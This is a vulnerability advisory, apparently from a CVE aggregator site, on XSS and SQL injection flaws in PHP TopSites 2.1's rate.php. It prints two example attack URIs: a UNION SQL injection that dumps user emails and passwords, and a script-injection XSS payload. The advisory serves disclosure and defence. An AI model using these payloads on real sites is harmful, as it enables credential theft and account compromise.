PHP TopSites 'rate.php' Cross Site Scripting and SQL Injection Vulnerabilities

BID:45389

Info

PHP TopSites 'rate.php' Cross Site Scripting and SQL Injection Vulnerabilities

Bugtraq ID: 45389
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Dec 13 2010 12:00AM
Updated: Dec 13 2010 12:00AM
Credit: kAsvææ | c0de Hunters
Vulnerable: PHP TopSites PHP TopSites 2.1
Not Vulnerable:

Discussion

PHP TopSites 'rate.php' Cross Site Scripting and SQL Injection Vulnerabilities

PHP TopSites is prone to a cross-site scripting vulnerability and an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

PHP TopSites 2.1 is vulnerable; other versions may also be affected.

Exploit / POC

PHP TopSites 'rate.php' Cross Site Scripting and SQL Injection Vulnerabilities

An attacker can exploit these issues through a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

http://www.example.com/topsites/rate.php?site=-999.9%27%20UNION%20ALL%20SELECT%20%28SELECT%20concat%280x7e,group_concat%28top_user.email,0x7e,top_user.password%29,0x7e%29%20FROM%20%60topfunsites_com_-_topsites%60.top_user%29%20,null%20and%20%27x%27=%27x

http://www.example.com/topsites/rate.php?site="'><script>alert('xss')</script>

Solution / Fix

PHP TopSites 'rate.php' Cross Site Scripting and SQL Injection Vulnerabilities

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]

References

PHP TopSites 'rate.php' Cross Site Scripting and SQL Injection Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report